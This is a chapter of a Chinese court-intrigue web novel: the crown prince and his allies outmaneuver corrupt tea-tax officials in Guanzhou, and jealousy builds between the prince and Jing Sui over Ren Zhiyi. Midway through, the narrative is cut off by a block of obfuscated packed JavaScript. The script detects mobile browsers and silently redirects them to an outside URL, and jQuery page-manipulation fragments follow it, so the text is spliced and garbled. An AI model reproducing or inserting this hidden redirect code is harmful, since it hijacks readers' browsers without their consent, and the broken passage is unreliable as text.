翌日,苏叶到达关州。
晨光洒落江面,碧波粼粼,远远驶过一艘朱红色的官船,其上悬挂“代天巡查”的旗帜;船上立着两排持戟护卫,披甲着胄,另有弓箭手数十名,分列两侧。
李度和石希惟领着一众官员,立于江岸,远望行船破水而来。
待船靠岸,众人跪接圣令。
李度上前,“苏侍郎一路辛苦,请先到行辕暂歇,待下官为苏侍郎接风洗尘。”
“李司使,你我同是户部中人,无须多礼。”苏叶轻笑,“本官也不是第一次下江南,上一次李司使请喝酒,本官足足醉了三日,那种滋味儿真是终生难忘。”
苏叶一边说着,一边暗暗磨了磨后槽牙,之前他下江南查税,若不是信了这厮,也不会最终无功而返。
李度假装听不出其中真意,大手一挥,“苏侍郎,请。”
“慢着。”
苏叶薄薄的眼皮微抬,“李司使、石通判,你们的盛情本官心领了,如今太子殿下在关州,本官须先去拜见殿下。”
李度一怔,抬起的手僵在半空,“殿下不是尚在东宫养病?”
苏叶轻笑,“二位大人放心,殿下福泽深厚,早已痊愈。日前,殿下奉圣令微服,到达关州不过是路过。既是微服,断然不会追究二位大人失礼之罪。江南之赋,事关国祚,本官深感力有不逮,恰好殿下在此督查,陛下也就放心了。”
过了半晌,李度望着苏叶远走的背影,面上的皮肉渐渐扭曲。
石希惟抓着李度的袖摆,颤声道:“妹,妹夫,这该如何是好?咱们昨日差点抓到的那个姓沈的,可,可能就是……”
李度绷着脸,眼中的光芒渐渐溃散,“立刻传信郑家。”
————
令卫枢没想到的是,与苏叶一同来关州的还有景随。
他微微侧目,望着树下正热络交谈的二人。
一个青衫玉质,笑若春风;一个清灵秀雅,顾盼神飞。
她微微仰面,专注而安静地听着对面的人说话,时而露齿一笑,时而眉梢轻弯,眼中流出细碎的光。
任谁都能从二人身上感受到久别重逢的喜悦。
“殿下,你在看什么?”苏叶轻轻挥手,打断卫枢的思绪。
卫枢收回视线,淡淡道:“没什么。”
苏叶继续道:“事情大致就是这样,若没有景随及时上报安州王和郓国勾结的消息,陛下未必同意重查云门镇案。”
“他如何得到这个消息?”
苏叶道:“兵部职方司下曾设过一个内馆,专职收集军机情报,战乱时颇受朝廷重视,不过这些年一直没什么动静,现在看来倒也不是全无用处。”
卫枢望着不远处那道青松若立的身影,眉头轻拧,“内馆沉寂多年,安王在兵部时没有半点消息,景随才去兵部短短一月,内馆就查到安州王勾结外邦?”
“证据我都看了,不似作假。”苏叶不以为意,“是不是内馆截获的消息有什么重要,重要的是安州王确有不臣之心。陛下令我和景随巡查江南,名义上是为茶税案和云门镇案两个案子,实际上是要协助殿下查清安州王勾结郓国之事。”
“景相是什么态度?”
苏叶呵呵一笑,“关于这件事,说来好笑。这大概是我入朝以来,第一次见陛下与景相意见如此一致。”
觑见卫枢神色依旧冷凝,苏叶迟疑,“殿下是怀疑景相,还是怀疑景随?”
卫枢复又朝树下望了一眼,留下一句“午时前,让所有人到书房来”。
苏叶望着正午当空的日光,摸了摸鼻子。
——
晌午之后,宅子外面来了一众官员,浩浩荡荡跪了一大片。
李度伏跪于最前,任融融暖阳照在脊背上,犹自感到寒凉。
他心里清楚,这是一场朝廷秋后的清算。
当年平叛战乱之后,朝廷百废待兴,需要支持,世家趁势而起,他们这些人都是在世家一手扶持下才能平步青云,坐上高位。
数年的奢靡安乐让他忘却了危机。若世家覆灭,他们这些人的下场同样是身首异地,万劫不复。
知道一直追查他们的人是太子后,他立刻快马去见了已致仕的柳德。
柳德回了他两个字——“安王”。
这两个字犹如醍醐灌顶,他一下子明白过来,为什么南衙卫神机营会出现在关州,为什么尚鸣会中弩箭而死。
他心神巨颤,一方面因窥探到夺嫡背后的暗潮而惊惧,另一方面心中亦生出三分底气。若无榷务司出手,太子眼下连平抑茶价都做不到,接下来还有数不清的手段在等着他,待到江南人心大乱,谈何查税?
“吱呀”一声,扇门大开。
从里面走出一位玄色劲装姑娘,李度忙拱手道:“本官有要事求见殿下,请姑娘代为通传。”
唐橘挥挥手,“殿下说,诸位大人跪在宅前实在扰民,都散了吧。”
李度阴下脸来,如今是不是连一个不知道哪里来的粗鲁丫头,都敢这样对他呼呼喝喝。
“若耽搁了正事,引起什么纷乱,姑娘恐怕担待不起。”
“不就是茶商交货之事?”唐橘冷哼,“任待诏让我转告李大人,最迟三日之后,关州运往漠北的茶便能备好,价格会是眼下茶价的一半。任待诏还说了,李大人这些年榷茶有功,有目共睹,朝廷不会忘记大人的功绩。”
唐橘回到书房,笑嘻嘻道:“我照你教我的,一字不落都说了。那李度惊得脸色惨白,跟快死了一样。据说这次整个江南道需要运出一百三十万斤茶,你真能备齐?不会是打算让我们去万家庄偷吧?”
任知宜扑哧一笑,“一百三十万斤,怎么偷?难道靠我们扛出来不成?”
唐橘翻了个白眼,“别卖关子了。”
卫枢、景随和苏叶亦齐齐望向任知宜。
任知宜缓缓道:“我看过祈山山场的账册,粗略估计,即使算上私茶,万家庄的茶仓也没有一百三十万斤。为了持续抬高价格,他们还随市买过不少高价茶。”
卫枢问道:“你的意思是关州仓余不足?”
“他们知道朝廷来查,估计已将万家庄茶仓里的私茶全部销毁,眼下即使查封庄子,也找不到罪证。”
苏叶道,“这么多的茶,他们舍得就这么烧了?”
“只要茶价高居不下,他们就不会担心。茶引滥发,加之很多茶庄趁机囤积居奇,静观后望。昨日闹街一番动静,也只是令茶价略有下降。今日让唐橘刻意在李度面前说这番话,就是为攻其心,乱其阵。”
“那后日的货如何解决呢?”唐橘问道
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16455050|180125||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
“韩家的商船已沿运河西下,去往淮南道几个州府收茶,郑家管控得住江南道,却防不住整个大胤。这一战,拼的是时间。如今有财力能与他们相抗衡的只有韩家,算算日子,三日后韩家的船就能到达关州。我还找了李、秋、宁、赵四家,先帮着支应那些小茶庄,待到万家庄倒台,他们会得到朝廷额外的榷茶份例。”
唐橘拍拍胸脯,长长地舒了口气,“你找韩少初帮忙,怎么不早说?”
景随犹不放心,“淮南那边会不会有阻碍?”
任知宜笑笑,“韩家是以高于淮南市价三成的价格收购,茶商自然甘愿。至于长引的问题,咱们苏侍郎不是在这儿嘛!就由苏侍郎担保给淮南榷务司补个行文,事急从权。江南把持茶业多年,牟利巨大,淮南早就想插一脚,绝不会不同意。”
苏叶哭笑不得。
弄这么一桩事出来,少不得回去要被言官弹劾。不过,这也的确是一个釜底抽薪的解决办法。茶价平抑之后,关州榷务司滥发茶引一事便会彻底暴露于人前,再无回圜的余地。
景随拊掌笑赞,凝视她的双眸灼灼其华。
任知宜回以会心一笑。
方才,景随将她走后京中发生的事说给她听。他以职方司内馆的名义将何卢与郓国勾结的消息报于朝廷,内馆得以重新启用,如今就掌握在景随的手中。
查高期案时,她曾经答应景随日后会帮他做一件事。谁料到她未曾践诺,景随却几次三番救她,帮她……
卫枢重重地咳了一声,“你们先出去,孤与知宜有话要说。”
众人退下。
书房一下子空静下来,空气中透出几分凝滞的憋闷。
卫枢眼睫微抬,视线凝在她身上。
颊色妍丽,唇若丹朱,浓密的乌发梳成峨峨云髻,一袭缃叶黄色襦裙的妆扮,较前几日多了几分明丽。
见卫枢不言不语,反而盯着自己看了半晌,任知宜低头瞥了一眼自己的裙裾,“可有不妥?”
卫枢收回视线,淡淡道:“并无。”
书房中又沉默下来,任知宜主动开口,“若殿下无事,容臣先行告退。”
正当任知宜转身要走,卫枢突然开口。
“你可知景随为何会来江南?”
卫枢继续道:“他主动向陛下请缨,赴安州查云门镇案,为得是躲避一桩婚事。”
“随之同我说过。”任知宜笑笑,“景相擅自作主为他定了一桩婚约,对方是范昉大人的千金范瑶。随之说,他一向视其为妹,直接拒绝恐伤了女儿家的名声,便借着江南之行淡化此事,由范家另择佳婿。”
随之,是景随的表字。
卫枢沉默下来,下颌微绷。
任知宜继续道:“殿下是不是在担忧景范联姻,于我东宫不利?眼下看来,随之并无此意。不过臣也未料到范大人能同意这桩婚事。”
纯臣与权臣联姻,满朝瞩目。若是双方小儿女两情相悦倒也罢了,这婚约却是两位长辈定下的,更令人惊讶的是,陛下也并未反对。
听她一口一个“随之”地叫着,卫枢心中微躁,“好了,孤已知晓。”
“景随和景相毕竟是亲生父子,日后与他相处,你要分得出轻重。”卫枢沉声道。
任知宜垂首,“臣明白。”